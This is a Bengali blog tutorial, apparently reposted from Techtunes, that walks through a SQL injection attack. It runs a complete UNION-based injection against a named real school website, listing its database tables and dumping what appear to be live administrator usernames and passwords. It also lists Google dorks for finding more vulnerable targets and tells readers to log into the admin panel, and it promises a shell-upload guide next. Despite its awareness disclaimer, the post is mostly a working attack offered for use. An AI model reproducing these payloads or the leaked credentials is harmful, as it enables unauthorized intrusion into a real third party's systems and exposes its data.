আমাদের কথা খুঁজে নিন

   

ওয়েব হ্যাকিং [পর্ব-০১] :: ‍SQL Injection বাংলায়

সবাইকে শুভেচ্ছা জানিয়ে শুরু করছি টেকটিউনসএ আমার প্রথম টিউন।
শুরুতে কিছুতে কথা বলে নিই। আমরা যারা ইন্টারনেট ব্যবহার করি তারা হ্যাকিং এর সাথে মোটামুটি সবাই পরিচিত। হ্যাকিং শব্দটি শুনলেই রোমাঞ্চ অনুভব করি। কিন্তু আসলে এটি নীতি বিরূদ্ধ একটি কাজ।

  এবং এর দ্বারা অন্যের ক্ষতি সাধিত হয়। তবে বর্তমানে আমাদের দেশের তরুন হ্যাকাররা হ্যাকিং কে প্রতিবাদের একটি অস্ত্র হিসেবে নিয়েছে যার ফলে আমাদের দাবীগুলো জনসম্মুখে আসছে। এ ব্যাপারে আমরা সবাই জানি তাই আর বেশি কিছু লিখতে চাই না।
আমি হ্যাকিং কি, হ্যাকার কারা এসব লিখে টিউন বড় করতে চাই না। এ নিয়ে টেকটিউনস এ অনেক ভালো টিউন আছে যা আপনারা ইতোমধ্যে পড়েছেন।


আমরা সবাই SQL Injection ধরনের হ্যাকিং এর কথা জানি। অনেকে এটা করেছি। আমি একটি লাইভ সাইট সহ আপনাদের সাথে এর একটি টিউটোরিয়াল শেয়ার করছি।
আগেভাগে বলে রাখি, আমি কোনো হ্যাকার না। হ্যাকিং সম্পর্কে আমার প্রথম ধারনা টেকটিউনস থেকেই আসে।

এবং এরপর বিভিন্ন জায়গা থেকে অল্পস্বল্প শিখেছি।
আমার এই অল্প জ্ঞান আমি আপনাদের সাথে শেয়ার করতে আগ্রহী। যারা একেবারে নতুন তাদের এই টিউনটি কাজে লাগবে বলে আশা করি।
[এই টিউনটি কারো ক্ষতির উদ্দেশ্যে লেখা হচ্ছে না। শুধু মাত্র যাতে নিজেদের নিরাপত্তা নিশ্চিত করা যায় এবং এই ধরনের হ্যাকিং সম্পর্কে সবাই সচেতন হয় সেজন্য লেখা হয়েছে।

]
[অভিজ্ঞ হ্যাকার ভাইদের প্রতি অনুরোধ আমার কোন ভুল হলে ধরিয়ে দেবেন]

প্রথমেই বলে নেই SQL একটি কোয়েরি ভাষা। তবে কোডিং এর ত্রুটির কারনে এটাতে এরর তৈরী হয় যা একজন হ্যাকারকে সাইটের ডেটাবেসে একসেস করতে সুযোগ করে দেয়। তো চলুন শুরু করি।
প্রথমেই আপনাকে সাইট খুজতে হবে।
নিচের যেকোনো একটি ডর্ক গুগল এ গিয়ে লিকে সার্চ করুন: [টেকটিউনসএ অনেক গুগল ডর্ক আছে]
inurl:events.php?id=
inurl:pages.php?id=
inurl:index.php?id=
inurl:search.php?id=
inurl:project.php?id=
inurl:site.php?id=
inurl:members.php?id=
আপনি অনেক সাইট পাবেন।


এরপর আপনাকে দেখতে হবে সাইট টি injectable কিনা ।
এর জন্য আপনাকে url এর শেষে একটি ‘ বসাতে হবে ।
যদি ডাটাবেজের কিছু মিসিং আসে বা পেজের কিছু ইরর আসে তাহলে বুঝবেন সাইট টি injectable ।
যেমন : “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1″
এখন injectable সাইটে inject করার জন্য আপনাকে প্রথমে ডাটাবেজের কলাম বের করতে হবে ।
এজন্য আপনাকে ভার্নাবল সাইটের লিংকের শেষে একটি কমান্ড ব্যবহার করতে হবে ।


আমি একটি সাইট পেয়েছি।
http://lomonosov-lyceum.ru/students/?page=4
এইটার শেষে একটা ‘ দিয়ে দেখেন , দেখবেন ডাটা মিস করছে । ‘
যাই হোক , আমাদের ডাটাবেজের কলাম বের করতে হলে +order+by+ কমান্ড দিতে হবে ।
তাহলে লিংকটি দাড়ায়
http://lomonosov-lyceum.ru/students/?page=4 order by 10—
কিন্তু এরর দিচ্ছে।
Unknown column '10' in 'order clause'
অন্যভাবে চেষ্টা করি  http://lomonosov-lyceum.ru/students/?page=4 order by 8--
আবার এরর
Unknown column '8' in 'order clause'
আরেকবার করি:
http://lomonosov-lyceum.ru/students/?page=4 order by 7—
এরর দিচ্ছে না।

তার মানে আমাদের কলাম ৭ টি এবার আমরা ভালনারেবল কলাম বের করব।
এর জন্য এরকম করুন:
Now change the URL like this http://lomonosov-lyceum.ru/students/?page=-4 UNION SELECT ALL 1,2,3,4,5,6,7--
দেখতে পাচ্ছি কলাম ৫ শো করছে। অর্থাৎ এটিই ভালনারেবল।
এর জন্য আপনাকে আবার একটি কমান্ড ব্যবহার করতে হবে ।
এখন আগের লিংকে শুধু 5 এর জায়গায় version() দিতে হবে ।


তাহলে লিংক টি দাড়ায়
http://lomonosov-lyceum.ru/students/?page=-4 UNION SELECT ALL 1,2,3,4,version(),6,7--
এই লিংকে গেলে আমরা ভার্সন দেখতে পাবো । এটার ভার্সন 5.0.77-log ভার্সন 5 এর নিচে সাইট গুলো হবে তা বাদ দিয়ে অন্যগুলো সাইট inject করতে চেষ্টা করবেন ।
এখন আমরা আরেকটি কমান্ড ব্যবহার করে টেবিল বের করব ।
এক্ষেত্রে ভার্নাবল কলামের বদলে group_concat(table_name) কমান্ড দিবো এবং শেষ কলামের পর +from+information_schema.tables+where+table_schema=database()– কমান্ড দিবো ।
তাহলে লিংকটি দাড়ালো
http://lomonosov-lyceum.ru/students/?page=-4 UNION SELECT ALL 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables where table_schema=database()—
লিংকে গেলে আপনি কিছু টেবিল দেখতে পাবেন
এই সাইটের টেবিল গুলো হল
blog_article,blog_comment,blog_resource,blog_user,foto_albom,foto_resource,guestbook,lab_article,lab_comment,lab_files,lab_resource,lab_user,menu,new_on_site,news_article,news_comment,news_resource,submenu,submenu_files,submenu_resource,users
এখন এখান থেকে এডমিন টেবিল বের করতে হবে ।


এক্ষেত্রে আপনাকে একটু বুদ্দ্বি খাটাতে হবে ।
users এডমিন টেবিল মনে হয় ।
ধরে নিতে না পারলে বা ভুল ধরলে সমাস্যা নেই ।
কমান্ডের মাধ্যমে বের করতে হবে । এক্ষেত্রে আপনাকে ভার্নাবল সাইটের বদলে group_concat(column_name) কমান্ড দিতে হবে ।

এবং শেষ কলামের পর +from+information_schema.columns+where table_name=0x
দিতে হবে এবং 0x এর পর আপনার ধরে নেয়া এডমিন টেবিলের হেক্স রুপান্তর দিতে হবে ।
এই লিংক থেকে টেক্স থেকে হেক্সে রুপান্তর করতে পারবেন
http://www.swingnote.com/tools/texttohex.php
এখানে users কে হেক্সে রুপান্তর করলে হয় 7573657273 | তাহলে লিংকটি দাড়ায়
http://lomonosov-lyceum.ru/students/?page=-4 UNION SELECT ALL 1,2,3,4,group_concat(column_name),6,7 from information_schema.columns where table_name=0x7573657273--
আপনি এডমিন টেবিল ধারনা না করতে পারলে আপনি 0x এর পর অন্যান্য টেবিলের হেক্স রুপান্তর দিয়ে চেষ্টা করবেন । যেটাতে id,password,username বা এরকম সম্পর্কিত কিছু দেখাবে তখন বুঝবেন ওইটি এডমিন টেবিল ।
যেহেতু আমরা বুঝেছি users এডমিন টেবিল এর হেক্স রুপান্তর দিয়ে লিংকে গিয়ে আমরা পেলাম কিছু এডমিন কলাম ।
name,passwd,rights
এখন আমরা এডমিন কলাম থেকে সাইটে লগিনের জন্য ইউজারমেম আর পাসওয়ার্ড বের করবো ।


এজন্য আমাদের শেষ কমান্ড ব্যবহার করতে হবে ।
এজন্য আমাদের ভার্নবল কলামের বদলে group_concat(name,0x3a,passwd) কমান্ড দিবো ।
তাহলে লিংক টি দাড়ায়
http://lomonosov-lyceum.ru/students/?page=-4 UNION SELECT ALL 1,2,3,4,group_concat(name,0x3a,passwd),6,7 from users--
আমরা ইউজারনেম এবং পাসওয়ার্ড পেয়ে গেছি:
administrator:lomonosov2013,Alex:saitlomonos2013
এবার এডমিন প্যানেল বের করে যেকোনো একটা দিয়ে লগিন করুন।
আমার ধারনা আমরা সবাই এডমিন প্যানের বের করার পদ্ধতি জানি। তাই আমি বর্ণনা করলাম না।

তবে যদি আপনারা না জানেন তবে আমি চেষ্টা করব এ নিয়ে একটি টিউন করতে।
পরবর্তী টিউন এ আমি শেল আপলোড করার পদ্ধতি শেয়ার করব আজকের মত এখানেই শেষ। সাবইকে ধন্যবাদ।
কোন সমস্যা হলে টিউমেন্ট এ জানান।
আর আমার ছোট সাইটটি ভিজিট করতে পারেন:       http://zawad.ga


সোর্স: http://www.techtunes.com.bd/     দেখা হয়েছে ১২ বার

এর পর.....

অনলাইনে ছড়িয়ে ছিটিয়ে থাকা কথা গুলোকেই সহজে জানবার সুবিধার জন্য একত্রিত করে আমাদের কথা । এখানে সংগৃহিত কথা গুলোর সত্ব (copyright) সম্পূর্ণভাবে সোর্স সাইটের লেখকের এবং আমাদের কথাতে প্রতিটা কথাতেই সোর্স সাইটের রেফারেন্স লিংক উধৃত আছে ।

প্রাসঙ্গিক আরো কথা
Related contents feature is in beta version.